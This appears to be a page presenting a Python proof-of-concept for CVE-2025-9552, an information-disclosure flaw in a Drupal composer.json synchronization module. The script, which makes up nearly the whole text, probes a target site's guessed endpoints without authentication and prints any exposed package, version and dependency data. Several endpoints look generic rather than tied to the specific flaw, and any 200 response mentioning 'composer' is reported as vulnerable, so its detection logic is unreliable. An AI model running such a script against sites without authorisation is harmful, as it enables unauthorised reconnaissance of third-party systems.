Drupal Synchronize composer.Json模块信息泄露漏洞 (CVE-2025-9552)

# CVE-2025-9552 PoC - Drupal Synchronize composer.Json Information Disclosure # Vulnerability: Information Disclosure via Synchronize composer.Json With Contrib Modules # CVSS: 5.3 (Medium) - AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-drupal-site.com" def exploit_info_disclosure(target): """ Exploit information disclosure vulnerability in Drupal Synchronize composer.Json With Contrib Modules """ session = requests.Session() # Step 1: Access the vulnerable endpoint without authentication endpoints = [ f"{target}/admin/config/development/sync_composer_json", f"{target}/sync-composer-json/status", f"{target}/admin/modules/sync-composer-json", f"{target}/composer.json", f"{target}/sites/default/files/composer.json", ] for endpoint in endpoints: try: response = session.get(endpoint, timeout=10, allow_redirects=False) if response.status_code == 200: print(f"[+] Accessible endpoint found: {endpoint}") print(f"[+] Response length: {len(response.text)}") # Extract sensitive information from response if 'composer' in response.text.lower(): print(f"[+] Composer data exposed!") # Parse and display relevant info if '"name"' in response.text: print(f"[+] Package information disclosed") if '"version"' in response.text: print(f"[+] Version information disclosed") if '"require"' in response.text: print(f"[+] Dependency information disclosed") return response.text except requests.exceptions.RequestException as e: continue return None def check_vulnerability(target): """Check if target is vulnerable to CVE-2025-9552""" print(f"[*] Testing {target} for CVE-2025-9552...") result = exploit_info_disclosure(target) if result: print(f"[!] Target appears to be VULNERABLE") print(f"[*] Disclosed data preview:\n{result[:500]}") else: print(f"[-] Target does not appear vulnerable or is patched") if __name__ == "__main__": check_vulnerability(TARGET_URL)